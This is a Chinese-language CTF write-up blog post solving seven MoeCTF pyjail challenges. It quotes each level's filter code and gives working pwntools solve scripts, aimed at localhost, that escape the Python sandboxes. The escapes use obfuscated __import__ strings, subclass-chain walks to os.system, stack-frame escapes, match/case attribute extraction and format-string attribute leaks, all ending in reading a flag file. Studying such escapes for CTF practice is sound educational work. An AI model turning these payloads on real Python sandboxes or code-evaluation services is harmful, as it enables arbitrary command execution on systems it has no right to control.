Moectf-pyjail沙箱绕过
本文最后更新于88 天前,其中的信息可能已经过时,如有错误请发送邮件到270371528@qq.com

Moectf-pyjail沙箱绕过

之前没认真学习过沙箱,最后一题没写出来,复现重做一遍发现真的学到很多新东西

Pyjail 0

flag在环境变量

from pwn import *

code = b"/proc/self/environ"
p = remote("127.0.0.1", 46795)

p.recvuntil(b"Please enter the reverse of '")
target_str = p.recvuntil(b"'", drop=True)  # 接收到单引号为止,不包含单引号

p.sendlineafter(b": ", target_str[::-1])
p.sendlineafter(b": ", code)

print(p.recvuntil(b"}").decode())

Pyjail 1

源码为

def chall():
    user_input = input("Give me your code: ")

    # 过滤关键字
    forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file']
    for keyword in forbidden_keywords:
        if keyword in user_input:
            print(f"Forbidden keyword detected: {keyword}")
            return

    result = eval(user_input)

字符数组拼接绕过即可,payload:

from pwn import *

code = b"getattr(globals()['__builtins__'], bytes([95, 95, 105, 109, 112, 111, 114, 116, 95, 95]).decode())('os').system('cat /tmp/flag.txt')"
p = remote("127.0.0.1", 30134)

p.recvuntil(b"Please enter the reverse of '")
target_str = p.recvuntil(b"'", drop=True)  # 接收到单引号为止,不包含单引号

p.sendlineafter(b": ", target_str[::-1])

p.sendlineafter(b": ", code)

print(p.recvuntil(b"}").decode())

第二种方法更简单暴力,直接用breakpoint()函数。help()函数试了不成功

 __import__('os').system('cat /tmp/f*')

image-20251018211555246

Pyjail 2

源码为

def chall():
    user_input = input("Give me your code: ")

    # 过滤关键字
    forbidden_keywords = ['import', 'eval', 'exec', 'open', 'file']
    for keyword in forbidden_keywords:
        if keyword in user_input:
            print(f"Forbidden keyword detected: {keyword}")
            return

    # 过滤特殊字符
    forbidden_chars = ['.', '_', '[', ']', "'", '"']
    for char in forbidden_chars:
        if char in user_input:
            print(f"Forbidden character detected: {char}")
            return

    result = eval(user_input)

在上一关过滤基础上又过滤了符号,chr(ASCII码)来绕过

from pwn import *

code = b"getattr(getattr(getattr(getattr(globals(), chr(95)+chr(95)+chr(103)+chr(101)+chr(116)+chr(105)+chr(116)+chr(101)+chr(109)+chr(95)+chr(95))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)), chr(95)+chr(95)+chr(100)+chr(105)+chr(99)+chr(116)+chr(95)+chr(95), getattr(globals(), chr(95)+chr(95)+chr(103)+chr(101)+chr(116)+chr(105)+chr(116)+chr(101)+chr(109)+chr(95)+chr(95))(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95))), chr(95)+chr(95)+chr(103)+chr(101)+chr(116)+chr(105)+chr(116)+chr(101)+chr(109)+chr(95)+chr(95))(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95))(chr(111)+chr(115)), chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109))(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(116)+chr(109)+chr(112)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116))"
p = remote("127.0.0.1", 19685)

p.recvuntil(b"Please enter the reverse of '")
target_str = p.recvuntil(b"'", drop=True)  # 接收到单引号为止,不包含单引号

p.sendlineafter(b": ", target_str[::-1])

p.sendlineafter(b": ", code)

print(p.recvuntil(b"}").decode()) 

这题用breakpoint()照样可以。

Pyjail 3

源码

def chall():
    user_input = input("Give me your code: ")

    try:
        result = eval(user_input, {"__builtins__": None}, {})
        # Hint: When __builtins__ is None, you need to be more creative...
        print("Code executed successfully!")
        if result is not None:
            print(f"Return value: {result}")
    except Exception as e:
        print(f"Execution error: {type(e).__name__}: {e}")

没有过滤,只是把builtins置空了。这题就比上面的还简单点。

可以通过对象继承链来重新获取内置函数

from pwn import *

code = b"[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['system']('cat /tmp/flag.txt')"
p = remote("127.0.0.1", 45052)

p.recvuntil(b"Please enter the reverse of '")
target_str = p.recvuntil(b"'", drop=True)  # 接收到单引号为止,不包含单引号

p.sendlineafter(b": ", target_str[::-1])

p.sendlineafter(b": ", code)

print(p.recvuntil(b"}").decode())

Pyjail 4

源码:

import ast
import base64
# 自定义 AST 节点访问器来限制可用的语法结构
class RestrictedNodeVisitor(ast.NodeVisitor):
    forbidden_attrs = {
        "__class__", "__dict__", "__bases__", "__mro__", "__subclasses__",
        "__globals__", "__code__", "__closure__", "__func__", "__self__",
        "__module__", "__import__", "__builtins__", "__base__", "__init__", "__getattribute__"
    }
    def visit_Attribute(self, node):
        # 禁止危险属性访问
        if isinstance(node.attr, str) and node.attr in self.forbidden_attrs:
            raise RuntimeError(f"Access to attribute '{node.attr}' is forbidden!")
        self.generic_visit(node)

def chall():
    user_input = input("Give me your code after base64 encoding it: ")
    code = base64.b64decode(user_input).decode('utf-8')

    if not user_input:
        print("Empty input!")
        return   
    try:
        # 使用 AST 解析和验证代码
        tree = ast.parse(code)
        visitor = RestrictedNodeVisitor()
        visitor.visit(tree)        
        # 创建受限的执行环境
        safe_builtins = {
            "print": print,
            "filter": filter,
            "list": list,
            "len": len,
            "Exception": Exception
        }
        safe_globals = {"__builtins__": safe_builtins}       
        # 执行用户代码
        exec(code, safe_globals, {})       
        print("Code executed successfully!")      
    except SyntaxError as e:
        print(f"Syntax Error: {e}")
    except RuntimeError as e:
        print(f"Runtime Error: {e}")
    except Exception as e:
        print(f"Execution Error: {type(e).__name__}: {e}")

用AST语法树来限制属性访问,并且清空了builtins进行限制,只能用safe_builtins中限制的内置函数。

提示要进行栈帧逃逸

有Exception,可以进行抛出异常后获取异常的栈帧对象,然后用f_back回溯到调用当前函数的上一级栈帧。chall()的builtins肯定是包含完整内置函数的。

f_back 总是指向调用者的帧(caller’s frame)。在这里,调用者是 chall()(它调用了 exec),因此 e.__traceback__.tb_frame.f_back 就是 chall() 的帧对象

from pwn import *

code=b"""
try:
    raise Exception
except Exception as e:
    frame = e.__traceback__.tb_frame.f_back

    b = frame.f_builtins
    print(b['open']('/tmp/flag.txt').read())
"""
p = remote('127.0.0.1',16970)

p.recvuntil("Please enter the reverse of '")
target_str = p.recvuntil(b"'",drop=True)
rev_str = target_str[::-1]
p.sendlineafter(b": ",rev_str)
p.sendlineafter(b": ",base64.b64encode(code))
p.interactive()

Pyjail 5

源码

import ast
import base64

# 自定义 AST 节点访问器来限制可用的语法结构
class RestrictedNodeVisitor(ast.NodeVisitor):
    def visit_Attribute(self, node):
        # 禁止属性访问
        raise RuntimeError(f"Access to any attributes is forbidden!")

def chall():
    user_input = input("Give me your code after base64 encoding it: ")
    code = base64.b64decode(user_input).decode('utf-8')

    if not user_input:
        print("Empty input!")
        return

    try:
        # 使用 AST 解析和验证代码
        tree = ast.parse(code)
        visitor = RestrictedNodeVisitor()
        visitor.visit(tree)

        # 创建受限的执行环境
        # maybe useful
        safe_builtins = {
            "Exception": Exception,
            "object": object,
        }
        safe_globals = {"__builtins__": safe_builtins}   
        # 执行用户代码
        exec(code, safe_globals, {})        
        print("Code executed successfully!")

    except SyntaxError as e:
        print(f"Syntax Error: {e}")
    except RuntimeError as e:
        print(f"Runtime Error: {e}")
    except Exception as e:
        print(f"Execution Error: {type(e).__name__}: {e}")

不能进行属性访问了。只给了Exception和object。

可以利用match/case。

python 3.10 中引入了一个新的特性:match/case,类似其他语言中的 switch/case,但 match/case 更加强大,除了可以匹配数字字符串之外,还可以匹配字典、对象等。

最简单的示例,匹配字符串:

item = 2

match item:
    case 1:
        print("One")
    case 2:
        print("Two")

# Two

还可以匹配类,下面是一个匹配类的示例:

class AClass:
    def __init__(self, value):
        self.thing = value

item = AClass(32)

match item:
    case AClass(thing=x):
        print(f"Got {x = }!")

# Got x = 32!

在这个示例中,重点关注case AClass(thing=x),这里的含义并非是将 x 赋值给 thing,我们需要将其理解为一个表达式,表示匹配类型为 AClass 且存在 thing 属性的对象,并且 thing 属性值自动赋值给 x。

这样一来就可以在不适用 . 号的情况下获取到类的属性值。例如获取 ''.__class__,可以编写如下的 match/case 语句:

match str():
    case str(__class__=x):
        print(x==''.__class__)

# True,返回true就代表x被赋值为''.__class__

因为所有的类都是 object子类,所以可以使用 object 来替代 str,这样就无需关注匹配到的到底是哪个类。

match "":    # 匹配的对象:双引号字符串实例
    case object(__class__=x):   # 结构模式:匹配任何object,并提取其__class__属性,赋值给x
        print(x==''.__class__)
# True

如果都看懂了,那么我们就可以进行这样赋值引用来构造payload

#构造"".__class__.__base__.__subclasses__()
match "":
    case object(__class__=clazz):
        match clazz:
            case object(__base__=bass):
                match bass:
                    case object(__subclasses__=subclazz):
                        print(subclazz())

懂得这样构造之后便可以做题了。

我们先找能利用的类

from pwn import *

code=b"""
match "":
    case object(__class__=clazz):
        match clazz:
            case object(__base__=bass):
                match bass:
                    case object(__subclasses__=subclazz):
                        a=subclazz()
                        raise Exception(a)
"""
p = remote('127.0.0.1',65525)

p.recvuntil("Please enter the reverse of '")
target_str = p.recvuntil(b"'",drop=True)
rev_str = target_str[::-1]
p.sendlineafter(b": ",rev_str)
p.sendlineafter(b": ",base64.b64encode(code))
p.interactive()

运行后可以找到os_wrap_close在索引155的位置,直接利用即可

from pwn import *

code=b"""
match "":
    case object(__class__=clazz):
        match clazz:
            case object(__base__=bass):
                match bass:
                    case object(__subclasses__=subclazz):
                        a=subclazz()[155]
                        match a:
                             case object(__init__=init_method):
                                 match init_method:
                                     case object(__globals__=globals_dict):
                                          raise Exception(globals_dict['system']('cat /tmp/flag.txt'))
"""
p = remote('127.0.0.1',65525)

p.recvuntil("Please enter the reverse of '")
target_str = p.recvuntil(b"'",drop=True)
rev_str = target_str[::-1]
p.sendlineafter(b": ",rev_str)
p.sendlineafter(b": ",base64.b64encode(code))
p.interactive()

Pyjail 6

源码

import ast
import base64

# 自定义 AST 节点访问器来限制可用的语法结构
class RestrictedNodeVisitor(ast.NodeVisitor):
    def visit_Attribute(self, node):
        # 禁止属性访问
        raise RuntimeError(f"Access to any attributes is forbidden!")

def chall():
    user_input = input("Give me your code after base64 encoding it: ")
    code = base64.b64decode(user_input).decode('utf-8')

    if not user_input:
        print("Empty input!")
        return

    try:
        # 使用 AST 解析和验证代码
        tree = ast.parse(code)
        visitor = RestrictedNodeVisitor()
        visitor.visit(tree)

        # 创建受限的执行环境
        # maybe useful
        safe_builtins = {
            "Exception": Exception,
            "str": str
        }

        safe_globals = {"__builtins__": safe_builtins}

        # 执行用户代码
        exec(code, safe_globals, {})

        print("Code executed successfully!")

    except SyntaxError as e:
        print(f"Syntax Error: {e}")
    except RuntimeError as e:
        print(f"Runtime Error: {e}")
    except Exception as e:
        print(f"Execution Error: {type(e).__name__}: {e}")

这下object也不能用了,不过看了wp原来还有一种访问属性的方法:格式化字符串

理解字符串格式化的属性访问:

try:
    "{0.__class__.__base__.__getattribute__.x}".format(114514)
except Exception as e: # 这里会捕获到 AttributeError
    a = e.obj
    print(a)
    # 拿到 114514.__class__.__base__.__getattribute__

当执行这个格式化时:

  • "{0.__class__.__base__.__getattribute__.x}" 尝试访问:
    • 114514.__class__int
    • int.__base__object
    • object.__getattribute__ → 获取属性的方法
    • object.__getattribute__.x → 尝试访问不存在的属性 x,由于访问不到所以会报AttributeError错
    • except Exception as e: → 捕获到 AttributeError
    • a = e.obj → 拿到 object.__getattribute__ 方法对象
from pwn import *

code=b"""
try:
    s = "{0.__class__.__base__.__getattribute__.x}"
    match s:
        case str(format=val): 
            val(114514)
except Exception as e:
    match e:
        case Exception(obj=val):
            myGetattr = val 
            for x in myGetattr(myGetattr(myGetattr('', '__class__'), '__base__'), '__subclasses__')():
                if myGetattr(x, '__name__') == '_wrap_close':
                    myGetattr(myGetattr(x, '__init__'), '__globals__')['system']('cat /tmp/flag.txt')
                    break
"""
p = remote('127.0.0.1',17355)

p.recvuntil("Please enter the reverse of '")
target_str = p.recvuntil(b"'",drop=True)
rev_str = target_str[::-1]
p.sendlineafter(b": ",rev_str)
p.sendlineafter(b": ",base64.b64encode(code))
p.interactive()

参考:

https://ayan0.top/2025/05/05/%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/#%E9%92%A9%E5%AD%90%E7%88%B9%E6%9D%A5%E5%92%AF

https://github.com/XDSEC/MoeCTF_2025/blob/main/official_writeups/Misc/Writeup.md

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇